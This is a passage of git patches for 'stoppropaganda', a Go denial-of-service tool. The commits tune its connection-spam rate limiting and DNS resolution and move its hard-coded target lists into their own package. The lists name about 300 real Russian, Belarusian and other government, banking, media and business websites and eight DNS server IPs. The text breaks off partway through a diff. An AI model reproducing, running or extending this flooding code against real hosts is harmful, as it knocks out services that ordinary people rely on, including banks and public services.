From a58ed87c840698149969140cc3791f5c9f2f5787 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 16:53:09 +0100 Subject: [PATCH 01/19] fix: make "too fast TCP SYN (dial spam)" less noticeable --- internal/stoppropaganda/customtcpdial/customtcpdial.go | 5 ++++- internal/stoppropaganda/websites.go | 9 +++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/internal/stoppropaganda/customtcpdial/customtcpdial.go b/internal/stoppropaganda/customtcpdial/customtcpdial.go index 7ba7720..6e5ad46 100644 --- a/internal/stoppropaganda/customtcpdial/customtcpdial.go +++ b/internal/stoppropaganda/customtcpdial/customtcpdial.go @@ -200,8 +200,11 @@ func (d *CustomTCPDialer) dial(addr string, dualStack bool, timeout time.Duratio ticketC := d.DialTicketsC if ticketC != nil { select { + // either we catch the ticket instantly case <-ticketC: - case <-time.After(1 * time.Second): + // or maybe let's wait until we have a green light + case <-time.After(timeout / 2): + // time passed, we didn't get a ticket :( return nil, ErrTooFastDialSpam } } diff --git a/internal/stoppropaganda/websites.go b/internal/stoppropaganda/websites.go index 6a62742..6a6be9c 100644 --- a/internal/stoppropaganda/websites.go +++ b/internal/stoppropaganda/websites.go @@ -7,7 +7,6 @@ import ( "time" "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/customresolver" - "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/customtcpdial" "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/resolvefix" "github.com/valyala/fasthttp" ) @@ -369,11 +368,9 @@ func (ws *WebsiteStatus) IncreaseCounters(responseCode int) { } func (ws *WebsiteStatus) IncreaseCountersErr(errMsg string) { - if !strings.Contains(errMsg, customtcpdial.ErrTooFastDialSpam.Error()) { - ws.Requests++ - ws.Errors++ - ws.LastErrorMsg = errMsg - } + ws.Requests++ + ws.Errors++ + ws.LastErrorMsg = errMsg } type Website struct { From 1f400b12cd29e4640f74a497be66141b95c7ca92 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 17:10:05 +0100 Subject: [PATCH 02/19] perf: optimize mallocgc in customresolver.GetIPs --- .../customresolver/customgetip.go | 47 ++++++++++++++++ internal/stoppropaganda/websites.go | 54 +++++++++++-------- 2 files changed, 78 insertions(+), 23 deletions(-) create mode 100644 internal/stoppropaganda/customresolver/customgetip.go diff --git a/internal/stoppropaganda/customresolver/customgetip.go b/internal/stoppropaganda/customresolver/customgetip.go new file mode 100644 index 0000000..e6b94d2 --- /dev/null +++ b/internal/stoppropaganda/customresolver/customgetip.go @@ -0,0 +1,47 @@ +package customresolver + +import ( + "context" + "net" +) + +var getIPcachedResolver = &CustomResolver{ + ParentResolver: net.DefaultResolver, +} + +// Modified to use stoppropaganda's CustomResolver +// so that it caches DNS records +func CustomLookupIP(host string, helperIPBuf []net.IP) ([]net.IP, error) { + addrs, err := getIPcachedResolver.LookupIPAddr(context.Background(), host) + if err != nil { + return nil, err + } + ips := helperIPBuf[:0] + for _, ia := range addrs { + ips = append(ips, ia.IP) + } + return ips, nil +} + +func GetIPs(host string, helperIPBuf []net.IP) (ips []net.IP, err error) { + addr := net.ParseIP(host) + if addr == nil { + ips, err := CustomLookupIP(host, helperIPBuf) + if err != nil { + return nil, err + } + for i := 0; i < len(ips); i++ { + ip := ips[i] + if ipv4 := ip.To4(); ipv4 == nil { + // Remove inplace trick + // - swap i and last element + ips[i] = ips[len(ips)-1] + // - pop last element + ips = ips[:len(ips)-1] + } + } + return ips, nil + } + helperIPBuf[0] = addr + return helperIPBuf[:1], nil +} diff --git a/internal/stoppropaganda/websites.go b/internal/stoppropaganda/websites.go index 6a6be9c..8bb3b4f 100644 --- a/internal/stoppropaganda/websites.go +++ b/internal/stoppropaganda/websites.go @@ -1,6 +1,7 @@ package stoppropaganda import ( + "net" "net/url" "strings" "sync" @@ -382,6 +383,9 @@ type Website struct { dnsLastChecked time.Time unpauseTime time.Time + // optimizations + helperIPBuf []net.IP + req *fasthttp.Request } @@ -389,29 +393,33 @@ var httpClient *fasthttp.Client var websites = map[string]*Website{} -func startWebsites() { - for website := range targetWebsites { - websiteURL, err := url.Parse(website) - if err != nil { - panic(err) - } +func NewWebsite(websiteUrlStr string) (website *Website) { + websiteURL, err := url.Parse(websiteUrlStr) + if err != nil { + panic(err) + } + newReq := fasthttp.AcquireRequest() + newReq.SetRequestURI(websiteUrlStr) + newReq.Header.SetMethod(fasthttp.MethodGet) + newReq.Header.Set("Host", websiteURL.Host) + newReq.Header.Set("User-Agent", *flagUserAgent) + newReq.Header.Set("Accept", "*/*") + + return &Website{ + host: websiteURL.Host, + Status: WebsiteStatus{ + Status: "Initializing", + }, + dnsLastChecked: time.Now().Add(-1 * VALIDATE_DNS_EVERY), // this forces to validate on first run + unpauseTime: time.Now(), + req: newReq, + helperIPBuf: make([]net.IP, 128), + } +} - newReq := fasthttp.AcquireRequest() - newReq.SetRequestURI(website) - newReq.Header.SetMethod(fasthttp.MethodGet) - newReq.Header.Set("Host", websiteURL.Host) - newReq.Header.Set("User-Agent", *flagUserAgent) - newReq.Header.Set("Accept", "*/*") - - websites[website] = &Website{ - host: websiteURL.Host, - Status: WebsiteStatus{ - Status: "Initializing", - }, - dnsLastChecked: time.Now().Add(-1 * VALIDATE_DNS_EVERY), // this forces to validate on first run - unpauseTime: time.Now(), - req: newReq, - } +func startWebsites() { + for websiteUrl := range targetWebsites { + websites[websiteUrl] = NewWebsite(websiteUrl) } websitesChannel := make(chan *Website, *flagWorkers) @@ -454,7 +462,7 @@ func (ws *Website) allowedToRun() bool { return false } - ipAddresses, err := customresolver.GetIPs(ws.host) + ipAddresses, err := customresolver.GetIPs(ws.host, ws.helperIPBuf) if err != nil { errStr := err.Error() From 30d8390ab186cc60fddb17949368cb02803cebbc Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 17:18:34 +0100 Subject: [PATCH 03/19] fix: merge --- internal/stoppropaganda/websites.go | 1 + 1 file changed, 1 insertion(+) diff --git a/internal/stoppropaganda/websites.go b/internal/stoppropaganda/websites.go index e362bec..4371816 100644 --- a/internal/stoppropaganda/websites.go +++ b/internal/stoppropaganda/websites.go @@ -417,6 +417,7 @@ func NewWebsite(websiteUrlStr string) (website *Website) { dnsLastChecked: time.Now().Add(-VALIDATE_DNS_EVERY), // this forces validation on first run pausedUntil: time.Now(), req: newReq, + helperIPBuf: make([]net.IP, 128), } return } From 35ff58ca287eaffcb5838a709bbe8c206acdfc00 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 17:38:36 +0100 Subject: [PATCH 04/19] fix: first check concurrency, then limit TCP SYN Works a lot better --- .../customtcpdial/customtcpdial.go | 27 ++++++++----------- 1 file changed, 11 insertions(+), 16 deletions(-) diff --git a/internal/stoppropaganda/customtcpdial/customtcpdial.go b/internal/stoppropaganda/customtcpdial/customtcpdial.go index 6e5ad46..371f050 100644 --- a/internal/stoppropaganda/customtcpdial/customtcpdial.go +++ b/internal/stoppropaganda/customtcpdial/customtcpdial.go @@ -58,9 +58,7 @@ type CustomTCPDialer struct { once sync.Once - // stoppropaganda start ParentDialer sockshttp.Dialer - // stoppropaganda end } // Dial dials the given TCP addr using tcp4. @@ -197,18 +195,6 @@ func (d *CustomTCPDialer) dial(addr string, dualStack bool, timeout time.Duratio return nil, errors.New("CustomTCPDialer: " + checkErr.Error()) } - ticketC := d.DialTicketsC - if ticketC != nil { - select { - // either we catch the ticket instantly - case <-ticketC: - // or maybe let's wait until we have a green light - case <-time.After(timeout / 2): - // time passed, we didn't get a ticket :( - return nil, ErrTooFastDialSpam - } - } - var conn net.Conn n := uint32(len(addrs)) deadline := time.Now().Add(timeout) @@ -251,7 +237,17 @@ func (d *CustomTCPDialer) tryDial(network string, addr *net.TCPAddr, deadline ti } defer func() { <-concurrencyCh }() } - // stoppropaganda start - add parent dialer + ticketC := d.DialTicketsC + if ticketC != nil { + select { + // either we catch the ticket instantly + case <-ticketC: + // or maybe let's wait until we have a green light + case <-time.After(timeout / 2): + // time passed, we didn't get a ticket :( + return nil, ErrTooFastDialSpam + } + } dialer := d.ParentDialer if dialer == nil { @@ -263,7 +259,6 @@ func (d *CustomTCPDialer) tryDial(network string, addr *net.TCPAddr, deadline ti } conn, err := dialer.Dial(network, addr.String()) - // stoppropaganda end return conn, err } From 8b9a5139d2ca8034f7a7ce3b389acbe55f0747bf Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 17:39:08 +0100 Subject: [PATCH 05/19] fix: free memory of IP []byte slice --- internal/stoppropaganda/customresolver/customgetip.go | 1 + 1 file changed, 1 insertion(+) diff --git a/internal/stoppropaganda/customresolver/customgetip.go b/internal/stoppropaganda/customresolver/customgetip.go index e6b94d2..27e1de9 100644 --- a/internal/stoppropaganda/customresolver/customgetip.go +++ b/internal/stoppropaganda/customresolver/customgetip.go @@ -37,6 +37,7 @@ func GetIPs(host string, helperIPBuf []net.IP) (ips []net.IP, err error) { // - swap i and last element ips[i] = ips[len(ips)-1] // - pop last element + ips[len(ips)-1] = nil ips = ips[:len(ips)-1] } } From 64acfc8ef1e5cb69202352865b6f84792f955743 Mon Sep 17 00:00:00 2001 From: deputinizer Date: Fri, 4 Mar 2022 18:04:51 +0100 Subject: [PATCH 06/19] feat: targets in one package --- internal/stoppropaganda/dns.go | 16 +- internal/stoppropaganda/targets/dns.go | 14 + internal/stoppropaganda/targets/websites.go | 326 +++++++++++++++++++ internal/stoppropaganda/websites.go | 328 +------------------- 4 files changed, 344 insertions(+), 340 deletions(-) create mode 100644 internal/stoppropaganda/targets/dns.go create mode 100644 internal/stoppropaganda/targets/websites.go diff --git a/internal/stoppropaganda/dns.go b/internal/stoppropaganda/dns.go index b373406..5a89129 100644 --- a/internal/stoppropaganda/dns.go +++ b/internal/stoppropaganda/dns.go @@ -5,22 +5,10 @@ import ( "strings" "sync" + "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/targets" "github.com/miekg/dns" ) -// Source: https://twitter.com/FedorovMykhailo/status/1497642156076511233 - -var targetDNSServers = map[string]struct{}{ - "194.54.14.186:53": {}, - "194.54.14.187:53": {}, - "194.67.7.1:53": {}, - "194.67.2.109:53": {}, - "84.252.147.118:53": {}, - "84.252.147.119:53": {}, - "95.173.148.51:53": {}, - "95.173.148.50:53": {}, -} - type DNSServerStatus struct { Requests uint `json:"requests"` Success uint `json:"success"` @@ -40,7 +28,7 @@ var dnsClient *dns.Client var dnsServers = map[string]*DNSServer{} func startDNS() { - for targetDNSServer := range targetDNSServers { + for targetDNSServer := range targets.TargetDNSServers { questionDomain := getRandomDomain() + "." message := new(dns.Msg) message.SetQuestion(questionDomain, dns.TypeA) diff --git a/internal/stoppropaganda/targets/dns.go b/internal/stoppropaganda/targets/dns.go new file mode 100644 index 0000000..42c6d25 --- /dev/null +++ b/internal/stoppropaganda/targets/dns.go @@ -0,0 +1,14 @@ +package targets + +// Source: https://twitter.com/FedorovMykhailo/status/1497642156076511233 + +var TargetDNSServers = map[string]struct{}{ + "194.54.14.186:53": {}, + "194.54.14.187:53": {}, + "194.67.7.1:53": {}, + "194.67.2.109:53": {}, + "84.252.147.118:53": {}, + "84.252.147.119:53": {}, + "95.173.148.51:53": {}, + "95.173.148.50:53": {}, +} diff --git a/internal/stoppropaganda/targets/websites.go b/internal/stoppropaganda/targets/websites.go new file mode 100644 index 0000000..31736bc --- /dev/null +++ b/internal/stoppropaganda/targets/websites.go @@ -0,0 +1,326 @@ +package targets + +// Source: https://twitter.com/FedorovMykhailo/status/1497642156076511233 + +var TargetWebsites = map[string]struct{}{ + /* Other countries */ + + "https://bukimevieningi.lt": {}, + "https://musutv.lt": {}, + "https://api.musutv.lt": {}, + "https://baltnews.lt": {}, + "https://lt.rubaltic.ru": {}, + "http://sputniknews.lt": {}, + "https://lv.sputniknews.ru": {}, + "https://viada.lt": {}, + "https://api.viada.lt": {}, + "https://www.sber.kz": {}, + "https://www.sberbank.kz": {}, + + /* Russia */ + + // Propaganda + "https://lenta.ru": {}, + "https://ria.ru": {}, + "https://ria.ru/lenta": {}, + "https://www.rbc.ru": {}, + "https://www.rt.com": {}, + "https://api.rt.com": {}, + "https://smotrim.ru": {}, + "https://api.smotrim.ru": {}, + "https://tass.ru": {}, + "https://api.tass.ru": {}, + "https://tvzvezda.ru": {}, + "https://vsoloviev.ru": {}, + "https://www.1tv.ru": {}, + "https://api.1tv.ru": {}, + "https://www.vesti.ru": {}, + "https://zakupki.gov.ru": {}, + "https://er.ru": {}, + "https://www.rzd.ru": {}, + "https://rzdlog.ru": {}, + "https://vgtrk.ru": {}, + "https://www.interfax.ru": {}, + "https://ugmk.ua": {}, + "https://iz.ru": {}, + "https://vz.ru": {}, + "https://sputniknews.ru": {}, + "https://www.gazeta.ru": {}, + "https://www.kp.ru": {}, + "https://riafan.ru": {}, + "https://api.riafan.ru": {}, + "https://pikabu.ru": {}, + "https://api.pikabu.ru": {}, + "https://www.kommersant.ru": {}, + "https://omk.ru": {}, + "https://www.yaplakal.com": {}, + "https://bezformata.com": {}, + "https://api.bezformata.com": {}, + "https://regnum.ru": {}, + "https://eadaily.com": {}, + "https://www.rubaltic.ru": {}, + "https://www.rambler.ru": {}, + "https://mail.ru": {}, + "https://simferopol.miranda-media.ru": {}, + "https://sevastopol.miranda-media.ru": {}, + "https://novoozernoye.miranda-media.ru": {}, + "https://feodosia.miranda-media.ru": {}, + "https://yalta.miranda-media.ru": {}, + "https://alupka.miranda-media.ru": {}, + "https://inkerman.miranda-media.ru": {}, + "https://primorskij.miranda-media.ru": {}, + "https://oliva.miranda-media.ru": {}, + "https://foros.miranda-media.ru": {}, + "https://chernomorskoe.miranda-media.ru": {}, + "https://kirovskoe.miranda-media.ru": {}, + + // Business corporations + "https://www.gazprom.ru": {}, + "https://lukoil.ru": {}, + "https://magnit.ru": {}, + "https://www.nornickel.com": {}, + "https://www.surgutneftegas.ru": {}, + "https://www.tatneft.ru": {}, + "https://www.evraz.com/ru": {}, + "https://nlmk.com": {}, + "https://www.sibur.ru": {}, + "https://www.severstal.com": {}, + "https://www.metalloinvest.com": {}, + "https://nangs.org": {}, + "https://api.nangs.org": {}, + "https://rmk-group.ru/ru": {}, + "https://www.tmk-group.ru": {}, + "https://ya.ru": {}, + "https://yandex.ru": {}, + "https://yandex.com": {}, + "https://any.yandex.ru": {}, + "https://disk.yandex.com": {}, + "https://eda.yandex": {}, + "https://mail.yandex.ru": {}, + "https://market.yandex.ru": {}, + "https://metrica.yandex.ru": {}, + "https://music.yandex.ru": {}, + "https://translate.yandex.ru": {}, + "https://www.polymetalinternational.com/ru": {}, + "https://www.uralkali.com/ru": {}, + "https://www.eurosib.ru": {}, + "https://www.wildberries.ru": {}, + "https://www.ozon.ru": {}, + "https://www.avito.ru": {}, + "https://www.dns-shop.ru": {}, + "https://aliexpress.ru": {}, + "https://privetmir.ru": {}, + "https://mironline.ru": {}, + "https://sbp.nspk.ru": {}, + "https://nspk.ru": {}, + "https://nspk.com": {}, + + // Banks + "https://www.sberbank.ru": {}, + "https://online.sberbank.ru": {}, + "https://api.developer.sber.ru/product/SberbankID": {}, + "https://api.sberbank.ru/prod/tokens/v2": {}, + "https://api.sberbank.ru/prod/tokens/v2/oauth": {}, + "https://api.sberbank.ru/prod/tokens/v2/oidc": {}, + "https://www.vtb.ru": {}, + "https://api.vtb.ru": {}, + "https://www.gazprombank.ru": {}, + "https://api.gazprombank.ru": {}, + "https://www.moex.com": {}, + "https://api.moex.com": {}, + "http://www.fsb.ru": {}, + "https://scr.online.sberbank.ru/api/fl/idgib-w-3ds": {}, + "https://3dsec.sberbank.ru/mportal3/auth/login": {}, + "https://acs1.sbrf.ru": {}, + "https://acs2.sbrf.ru": {}, + "https://acs3.sbrf.ru": {}, + "https://acs4.sbrf.ru": {}, + "https://acs5.sbrf.ru": {}, + "https://acs6.sbrf.ru": {}, + "https://acs7.sbrf.ru": {}, + "https://acs8.sbrf.ru": {}, + + //The state + "https://gosuslugi.ru": {}, + "https://www.mos.ru/uslugi": {}, + "https://api.mos.ru": {}, + "http://kremlin.ru": {}, + "http://en.kremlin.ru": {}, + "http://government.ru": {}, + "https://mil.ru": {}, + "https://www.nalog.gov.ru": {}, + "https://customs.gov.ru": {}, + "https://pfr.gov.ru": {}, + "https://rkn.gov.ru": {}, + "https://www.gosuslugi.ru": {}, + "https://gosuslugi41.ru": {}, + "https://uslugi27.ru": {}, + "https://gosuslugi29.ru": {}, + "https://gosuslugi.astrobl.ru": {}, + "http://pochta.ru": {}, + "http://crimea-post.ru": {}, + "https://ca.vks.rosguard.gov.ru": {}, + + // Embassy + "https://montreal.mid.ru": {}, + + // Others + "https://109.207.1.118": {}, + "https://109.207.1.97": {}, + "https://mail.rkn.gov.ru": {}, + "https://cloud.rkn.gov.ru": {}, + "https://mvd.gov.ru": {}, + "https://pwd.wto.economy.gov.ru": {}, + "https://stroi.gov.ru": {}, + "https://proverki.gov.ru": {}, + "https://shop-rt.com": {}, + "https://www.glonass-iac.ru": {}, + + // Exchanges connected to russian banks + "https://cleanbtc.ru": {}, + "https://api.cleanbtc.ru": {}, + "https://bonkypay.com": {}, + "https://changer.club": {}, + "https://api.changer.club": {}, + "https://superchange.net": {}, + "https://api.superchange.net": {}, + "https://mine.exchange": {}, + "https://api.mine.exchange": {}, + "https://platov.co": {}, + "https://ww-pay.net": {}, + "https://delets.cash": {}, + "https://betatransfer.org": {}, + "https://ramon.money": {}, + "https://coinpaymaster.com": {}, + "https://bitokk.biz": {}, + "https://www.netex24.net": {}, + "https://api.netex24.net": {}, + "https://cashbank.pro": {}, + "https://flashobmen.com": {}, + "https://abcobmen.com": {}, + "https://ychanger.net": {}, + "https://multichange.net": {}, + "https://24paybank.ne": {}, + "https://royal.cash": {}, + "https://prostocash.com": {}, + "https://baksman.org": {}, + "https://kupibit.me": {}, + + // Electronic signature services + "https://iecp.ru": {}, + "https://api.iecp.ru": {}, + "https://uc-osnovanie.ru": {}, + "https://api.uc-osnovanie.ru": {}, + "http://www.nucrf.ru": {}, + "http://www.belinfonalog.ru": {}, + "http://www.roseltorg.ru": {}, + "https://api.roseltorg.ru": {}, + "http://www.astralnalog.ru": {}, + "http://www.nwudc.ru": {}, + "http://www.center-inform.ru": {}, + "https://kk.bank/UdTs": {}, + "http://structure.mil.ru": {}, + "http://www.ucpir.ru": {}, + "http://dreamkas.ru": {}, + "http://www.e-portal.ru": {}, + "https://api.e-portal.ru": {}, + "http://izhtender.ru": {}, + "http://imctax.parus-s.ru": {}, + "http://www.icentr.ru": {}, + "http://www.kartoteka.ru": {}, + "https://api.kartoteka.ru": {}, + "http://rsbis.ru": {}, + "http://www.stv-it.ru": {}, + "http://www.crypset.ru": {}, + "http://www.kt-69.ru": {}, + "http://www.24ecp.ru": {}, + "http://kraskript.com": {}, + "http://ca.ntssoft.ru": {}, + "http://www.y-center.ru": {}, + "http://www.rcarus.ru": {}, + "http://rk72.ru": {}, + "http://squaretrade.ru": {}, + "http://ca.gisca.ru": {}, + "http://www.otchet-online.ru": {}, + "http://udcs.ru": {}, + "http://www.cit-ufa.ru": {}, + "http://api.cit-ufa.ru": {}, + "http://elkursk.ru": {}, + "http://www.icvibor.ru": {}, + "http://ucestp.ru": {}, + "https://api.ucestp.ru": {}, + "http://mcspro.ru": {}, + "http://www.infotrust.ru": {}, + "http://epnow.ru": {}, + "http://ca.kamgov.ru": {}, + "http://mascom-it.ru": {}, + "http://cfmc.ru": {}, + + /* BELARUS */ + + // by gov + "https://mininform.gov.by": {}, + "https://rec.gov.by/ru": {}, + "https://www.mil.by": {}, + "https://www.government.by": {}, + "https://president.gov.by/ru": {}, + "https://www.mvd.gov.by/ru": {}, + "http://www.kgb.by/ru": {}, + "https://www.prokuratura.gov.by": {}, + "http://mfa.gov.by": {}, + "http://russia.mfa.gov.by": {}, + + // by banks + "https://www.nbrb.by": {}, + "https://belarusbank.by": {}, + "https://brrb.by": {}, + "https://www.belapb.by": {}, + "https://bankdabrabyt.by": {}, + "https://belinvestbank.by/individual": {}, + "https://api.belinvestbank.by/": {}, + "https://belpost.by": {}, + + // by business + "https://bgp.by/ru": {}, + "https://www.belneftekhim.by": {}, + "http://www.bellegprom.by": {}, + "https://www.energo.by": {}, + "http://belres.by/ru": {}, + "http://rw.by": {}, + + // by media + "http://belta.by": {}, + "https://sputnik.by": {}, + "https://www.tvr.by": {}, + "https://www.sb.by": {}, + "https://belmarket.by": {}, + "https://www.belarus.by": {}, + "https://belarus24.by": {}, + "https://ont.by": {}, + "https://www.024.by": {}, + "https://www.belnovosti.by": {}, + "https://api.belnovosti.by": {}, + "https://mogilevnews.by": {}, + "https://yandex.by": {}, + "https://www.slonves.by": {}, + "http://www.ctv.by": {}, + "https://radiobelarus.by": {}, + "https://radiusfm.by": {}, + "https://alfaradio.by": {}, + "https://radiomir.by": {}, + "https://api.radiomir.by": {}, + "https://radiostalica.by": {}, + "https://radiobrestfm.by": {}, + "https://api.radiobrestfm.by": {}, + "https://www.tvrmogilev.by": {}, + "https://minsknews.by": {}, + "https://api.minsknews.by": {}, + "https://zarya.by": {}, + "https://grodnonews.by": {}, + + /* DDOS mitigation */ + "https://ddos-guard.net/ru": {}, + "https://stormwall.pro": {}, + "https://qrator.net/ru": {}, + "https://solidwall.ru": {}, +} diff --git a/internal/stoppropaganda/websites.go b/internal/stoppropaganda/websites.go index 4371816..131511d 100644 --- a/internal/stoppropaganda/websites.go +++ b/internal/stoppropaganda/websites.go @@ -9,336 +9,12 @@ import ( "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/customresolver" "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/resolvefix" + "github.com/erkexzcx/stoppropaganda/internal/stoppropaganda/targets" "github.com/valyala/fasthttp" ) -// Source: https://twitter.com/FedorovMykhailo/status/1497642156076511233 - const VALIDATE_DNS_EVERY = 5 * time.Minute -var targetWebsites = map[string]struct{}{ - /* Other countries */ - - "https://bukimevieningi.lt": {}, - "https://musutv.lt": {}, - "https://api.musutv.lt": {}, - "https://baltnews.lt": {}, - "https://lt.rubaltic.ru": {}, - "http://sputniknews.lt": {}, - "https://lv.sputniknews.ru": {}, - "https://viada.lt": {}, - "https://api.viada.lt": {}, - "https://www.sber.kz": {}, - "https://www.sberbank.kz": {}, - - /* Russia */ - - // Propaganda - "https://lenta.ru": {}, - "https://ria.ru": {}, - "https://ria.ru/lenta": {}, - "https://www.rbc.ru": {}, - "https://www.rt.com": {}, - "https://api.rt.com": {}, - "https://smotrim.ru": {}, - "https://api.smotrim.ru": {}, - "https://tass.ru": {}, - "https://api.tass.ru": {}, - "https://tvzvezda.ru": {}, - "https://vsoloviev.ru": {}, - "https://www.1tv.ru": {}, - "https://api.1tv.ru": {}, - "https://www.vesti.ru": {}, - "https://zakupki.gov.ru": {}, - "https://er.ru": {}, - "https://www.rzd.ru": {}, - "https://rzdlog.ru": {}, - "https://vgtrk.ru": {}, - "https://www.interfax.ru": {}, - "https://ugmk.ua": {}, - "https://iz.ru": {}, - "https://vz.ru": {}, - "https://sputniknews.ru": {}, - "https://www.gazeta.ru": {}, - "https://www.kp.ru": {}, - "https://riafan.ru": {}, - "https://api.riafan.ru": {}, - "https://pikabu.ru": {}, - "https://api.pikabu.ru": {}, - "https://www.kommersant.ru": {}, - "https://omk.ru": {}, - "https://www.yaplakal.com": {}, - "https://bezformata.com": {}, - "https://api.bezformata.com": {}, - "https://regnum.ru": {}, - "https://eadaily.com": {}, - "https://www.rubaltic.ru": {}, - "https://www.rambler.ru": {}, - "https://mail.ru": {}, - "https://simferopol.miranda-media.ru": {}, - "https://sevastopol.miranda-media.ru": {}, - "https://novoozernoye.miranda-media.ru": {}, - "https://feodosia.miranda-media.ru": {}, - "https://yalta.miranda-media.ru": {}, - "https://alupka.miranda-media.ru": {}, - "https://inkerman.miranda-media.ru": {}, - "https://primorskij.miranda-media.ru": {}, - "https://oliva.miranda-media.ru": {}, - "https://foros.miranda-media.ru": {}, - "https://chernomorskoe.miranda-media.ru": {}, - "https://kirovskoe.miranda-media.ru": {}, - - // Business corporations - "https://www.gazprom.ru": {}, - "https://lukoil.ru": {}, - "https://magnit.ru": {}, - "https://www.nornickel.com": {}, - "https://www.surgutneftegas.ru": {}, - "https://www.tatneft.ru": {}, - "https://www.evraz.com/ru": {}, - "https://nlmk.com": {}, - "https://www.sibur.ru": {}, - "https://www.severstal.com": {}, - "https://www.metalloinvest.com": {}, - "https://nangs.org": {}, - "https://api.nangs.org": {}, - "https://rmk-group.ru/ru": {}, - "https://www.tmk-group.ru": {}, - "https://ya.ru": {}, - "https://yandex.ru": {}, - "https://yandex.com": {}, - "https://any.yandex.ru": {}, - "https://disk.yandex.com": {}, - "https://eda.yandex": {}, - "https://mail.yandex.ru": {}, - "https://market.yandex.ru": {}, - "https://metrica.yandex.ru": {}, - "https://music.yandex.ru": {}, - "https://translate.yandex.ru": {}, - "https://www.polymetalinternational.com/ru": {}, - "https://www.uralkali.com/ru": {}, - "https://www.eurosib.ru": {}, - "https://www.wildberries.ru": {}, - "https://www.ozon.ru": {}, - "https://www.avito.ru": {}, - "https://www.dns-shop.ru": {}, - "https://aliexpress.ru": {}, - "https://privetmir.ru": {}, - "https://mironline.ru": {}, - "https://sbp.nspk.ru": {}, - "https://nspk.ru": {}, - "https://nspk.com": {}, - - // Banks - "https://www.sberbank.ru": {}, - "https://online.sberbank.ru": {}, - "https://api.developer.sber.ru/product/SberbankID": {}, - "https://api.sberbank.ru/prod/tokens/v2": {}, - "https://api.sberbank.ru/prod/tokens/v2/oauth": {}, - "https://api.sberbank.ru/prod/tokens/v2/oidc": {}, - "https://www.vtb.ru": {}, - "https://api.vtb.ru": {}, - "https://www.gazprombank.ru": {}, - "https://api.gazprombank.ru": {}, - "https://www.moex.com": {}, - "https://api.moex.com": {}, - "http://www.fsb.ru": {}, - "https://scr.online.sberbank.ru/api/fl/idgib-w-3ds": {}, - "https://3dsec.sberbank.ru/mportal3/auth/login": {}, - "https://acs1.sbrf.ru": {}, - "https://acs2.sbrf.ru": {}, - "https://acs3.sbrf.ru": {}, - "https://acs4.sbrf.ru": {}, - "https://acs5.sbrf.ru": {}, - "https://acs6.sbrf.ru": {}, - "https://acs7.sbrf.ru": {}, - "https://acs8.sbrf.ru": {}, - - //The state - "https://gosuslugi.ru": {}, - "https://www.mos.ru/uslugi": {}, - "https://api.mos.ru": {}, - "http://kremlin.ru": {}, - "http://en.kremlin.ru": {}, - "http://government.ru": {}, - "https://mil.ru": {}, - "https://www.nalog.gov.ru": {}, - "https://customs.gov.ru": {}, - "https://pfr.gov.ru": {}, - "https://rkn.gov.ru": {}, - "https://www.gosuslugi.ru": {}, - "https://gosuslugi41.ru": {}, - "https://uslugi27.ru": {}, - "https://gosuslugi29.ru": {}, - "https://gosuslugi.astrobl.ru": {}, - "http://pochta.ru": {}, - "http://crimea-post.ru": {}, - "https://ca.vks.rosguard.gov.ru": {}, - - // Embassy - "https://montreal.mid.ru": {}, - - // Others - "https://109.207.1.118": {}, - "https://109.207.1.97": {}, - "https://mail.rkn.gov.ru": {}, - "https://cloud.rkn.gov.ru": {}, - "https://mvd.gov.ru": {}, - "https://pwd.wto.economy.gov.ru": {}, - "https://stroi.gov.ru": {}, - "https://proverki.gov.ru": {}, - "https://shop-rt.com": {}, - "https://www.glonass-iac.ru": {}, - - // Exchanges connected to russian banks - "https://cleanbtc.ru": {}, - "https://api.cleanbtc.ru": {}, - "https://bonkypay.com": {}, - "https://changer.club": {}, - "https://api.changer.club": {}, - "https://superchange.net": {}, - "https://api.superchange.net": {}, - "https://mine.exchange": {}, - "https://api.mine.exchange": {}, - "https://platov.co": {}, - "https://ww-pay.net": {}, - "https://delets.cash": {}, - "https://betatransfer.org": {}, - "https://ramon.money": {}, - "https://coinpaymaster.com": {}, - "https://bitokk.biz": {}, - "https://www.netex24.net": {}, - "https://api.netex24.net": {}, - "https://cashbank.pro": {}, - "https://flashobmen.com": {}, - "https://abcobmen.com": {}, - "https://ychanger.net": {}, - "https://multichange.net": {}, - "https://24paybank.ne": {}, - "https://royal.cash": {}, - "https://prostocash.com": {}, - "https://baksman.org": {}, - "https://kupibit.me": {}, - - // Electronic signature services - "https://iecp.ru": {}, - "https://api.iecp.ru": {}, - "https://uc-osnovanie.ru": {}, - "https://api.uc-osnovanie.ru": {}, - "http://www.nucrf.ru": {}, - "http://www.belinfonalog.ru": {}, - "http://www.roseltorg.ru": {}, - "https://api.roseltorg.ru": {}, - "http://www.astralnalog.ru": {}, - "http://www.nwudc.ru": {}, - "http://www.center-inform.ru": {}, - "https://kk.bank/UdTs": {}, - "http://structure.mil.ru": {}, - "http://www.ucpir.ru": {}, - "http://dreamkas.ru": {}, - "http://www.e-portal.ru": {}, - "https://api.e-portal.ru": {}, - "http://izhtender.ru": {}, - "http://imctax.parus-s.ru": {}, - "http://www.icentr.ru": {}, - "http://www.kartoteka.ru": {}, - "https://api.kartoteka.ru": {}, - "http://rsbis.ru": {}, - "http://www.stv-it.ru": {}, - "http://www.crypset.ru": {}, - "http://www.kt-69.ru": {}, - "http://www.24ecp.ru": {}, - "http://kraskript.com": {}, - "http://ca.ntssoft.ru": {}, - "http://www.y-center.ru": {}, - "http://www.rcarus.ru": {}, - "http://rk72.ru": {}, - "http://squaretrade.ru": {}, - "http://ca.gisca.ru": {}, - "http://www.otchet-online.ru": {}, - "http://udcs.ru": {}, - "http://www.cit-ufa.ru": {}, - "http://api.cit-ufa.ru": {}, - "http://elkursk.ru": {}, - "http://www.icvibor.ru": {}, - "http://ucestp.ru": {}, - "https://api.ucestp.ru": {}, - "http://mcspro.ru": 